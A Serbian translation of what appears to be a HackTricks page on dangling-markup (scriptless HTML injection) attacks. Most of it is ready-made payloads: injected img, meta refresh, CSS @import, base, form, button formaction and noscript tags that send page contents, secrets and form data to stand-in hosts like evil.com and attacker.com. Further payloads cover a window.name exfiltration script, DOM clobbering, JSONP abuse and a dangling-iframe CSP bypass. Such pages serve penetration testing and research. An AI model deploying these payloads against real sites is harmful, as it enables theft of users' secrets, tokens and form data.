14 KiB
Dangling Markup - HTML scriptless injection
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJE!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Rezime
Ova tehnika može se koristiti za izvlačenje informacija od korisnika kada se pronađe HTML ubacivanje. Ovo je veoma korisno ako ne možete pronaći način da iskoristite XSS ali možete ubaciti neke HTML tagove.
Takođe je korisno ako je neka tajna sačuvana u običnom tekstu u HTML-u i želite je eksfiltrirati sa klijenta, ili ako želite da zavarate izvršavanje nekog skripta.
Nekoliko tehnika komentarisanih ovde može se koristiti za zaobilaženje nekih Content Security Policy putem eksfiltracije informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
Glavne Primene
Krađa tajni u običnom tekstu
Ako ubacite <img src='http://evil.com/log.cgi?
kada se stranica učita, žrtva će vam poslati sav kod između ubačene img
oznake i sledeće navodnika unutar koda. Ako se tajna nađe u tom delu, ukradećete je (isto možete uraditi koristeći dvostruki navodnik, pogledajte šta bi moglo biti interesantnije za korišćenje).
Ako je img
oznaka zabranjena (zbog CSP na primer) takođe možete koristiti <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Napomena da Chrome blokira HTTP URL-ove sa "<" ili "\n" u njima, pa možete pokušati sa drugim protokolima poput "ftp".
Takođe možete zloupotrebiti CSS @import
(će poslati sav kod dok ne pronađe ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Takođe možete koristiti <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Možete takođe ubaciti <base
tag. Sve informacije će biti poslate dok se navodnik ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će base tag promeniti domen na koji link pokazuje):
<base target=' <--- Injected
steal me'<b>test</b>
Krađa formi
<base href='http://evil.com/'>
Zatim, obrasci koji šalju podatke putanjom (kao što je <form action='update_profile.php'>
) će slati podatke na zlonamernu domenu.
Krađa obrazaca 2
Postavite zaglavlje obrasca: <form action='http://evil.com/log_steal'>
ovo će prebrisati sledeće zaglavlje obrasca i svi podaci iz obrasca će biti poslati napadaču.
Krađa obrazaca 3
Dugme može promeniti URL na koji će informacije iz obrasca biti poslate pomoću atributa "formaction":
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Napadač može koristiti ovo da ukrade informacije.
Pronađite primer ovog napada u ovom opisu.
Krađa tajnih tekstualnih informacija 2
Koristeći poslednju pomenutu tehniku za krađu formi (ubacivanje novog zaglavlja forme) možete zatim ubaciti novo polje za unos:
<input type='hidden' name='review_body' value="
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad meša "Krađu tajnih tekstova u čistom obliku" sa "Krađom formi2".
Možete uraditi istu stvar ubacivanjem forme i <option>
oznake. Svi podaci dok se ne pronađe zatvoreni </option>
će biti poslati:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Injekcija parametara obrasca
Možete promeniti putanju obrasca i ubaciti nove vrednosti kako bi se izvršila neočekivana radnja:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
Krađa tajnih tekstova u čistom tekstu putem noscript
<noscript></noscript>
je oznaka čiji će sadržaj biti tumačen ako pregledač ne podržava JavaScript (možete omogućiti/onemogućiti JavaScript u Chrome-u na chrome://settings/content/javascript).
Način za eksfiltraciju sadržaja web stranice od tačke ubacivanja do dna ka sajtu koji kontroliše napadač biće ubacivanje ovoga:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Bypassing CSP sa korisničkom interakcijom
Iz ovog portswiggers istraživanja možete naučiti da čak i u najstrože ograničenim CSP okruženjima još uvek možete izfiltrirati podatke sa određenom korisničkom interakcijom. U ovom slučaju ćemo koristiti payload:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Napomena da ćete zatražiti od žrtve da klikne na link koji će je preusmeriti na payload koji kontrolišete. Takođe, obratite pažnju da će target
atribut unutar base
taga sadržati HTML sadržaj do sledećeg jednostrukog navodnika.
To će rezultirati time da će vrednost window.name
biti sav taj HTML sadržaj kada se klikne na link. Stoga, pošto kontrolišete stranicu na koju žrtva pristupa klikom na link, možete pristupiti tom window.name
i eksfiltrirati te podatke:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Zavaravajući radni tok skripte 1 - Napad na HTML namespace
Umetnite novi tag sa id-om unutar HTML-a koji će prepisati sledeći tag i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacije deliti:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Zavaravajući radni tok skripte 2 - Napad na skriptni prostor imena
Kreirajte promenljive unutar JavaScript prostora imena ubacivanjem HTML tagova. Zatim će ova promenljiva uticati na tok aplikacije:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
Zloupotreba JSONP
Ako pronađete JSONP interfejs, možete pozvati proizvoljnu funkciju sa proizvoljnim podacima:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Ili čak možete pokušati da izvršite neki JavaScript:
<script src='/search?q=a&call=alert(1)'></script>
Zloupotreba Iframe-a
Dete dokumenta poseduje mogućnost da pregleda i izmeni svojstvo location
svojstvo svojstvo roditelja, čak i u situacijama prekograničnog saobraćaja. Ovo omogućava ugrađivanje skripte unutar iframe-a koja može preusmeriti klijenta na proizvoljnu stranicu:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Ovo se može ublažiti nečim poput: sandbox=' allow-scripts allow-top-navigation'
Iframe takođe može biti zloupotrebljen da bi procurele osetljive informacije sa druge stranice koristeći atribut imena iframe-a. To je zato što možete kreirati iframe koji ugrađuje sam sebe zloupotrebljavajući HTML ubacivanje koje čini da osetljive informacije izgledaju unutar atributa imena iframe-a i zatim pristupiti tom imenu iz početnog iframe-a i procuriti ga.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Za više informacija pogledajte https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta zloupotreba
Možete koristiti meta http-equiv
da izvršite nekoliko radnji poput postavljanja Cookie-a: <meta http-equiv="Set-Cookie" Content="SESSID=1">
ili izvođenje preusmeravanja (u ovom slučaju za 5s): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Ovo se može izbeći sa CSP u vezi sa http-equiv (Content-Security-Policy: default-src 'self';
, ili Content-Security-Policy: http-equiv 'self';
)
Novi <portal HTML tag
Možete pronaći veoma interesantna istraživanja o iskorišćivim ranjivostima taga <portal ovde.
U trenutku pisanja ovog teksta, morate omogućiti tag portala na Chrome-u u chrome://flags/#enable-portals
ili neće raditi.
<portal src='https://attacker-server?
HTML Curenje
Nisu sve metode curenja povezanosti u HTML-u korisne za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Curenje
Ovo je miks između dangling markup i XS-Curenja. Sa jedne strane, ranjivost omogućava ubacivanje HTML-a (ali ne JS-a) na stranici istog porekla kao stranica koju ćemo napadati. S druge strane, nećemo napadati direktno stranicu na koju možemo ubaciti HTML, već drugu stranicu.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Pretraga/XS-Curenje
XS-Pretrage su usmerene na eksfiltraciju informacija preko granica porekla zloupotrebom napada bočnim kanalom. Stoga, to je drugačija tehnika od Dangling Markup-a, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML oznaka (sa i bez izvršenja JS-a), poput Ubacivanja CSS-a ili Učitavanja slika u lenjoj formi.
{% content-ref url="../xs-search/" %} xs-search {% endcontent-ref %}
Lista za Otkrivanje Brute-Force Napada
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Reference
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRETPLATU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.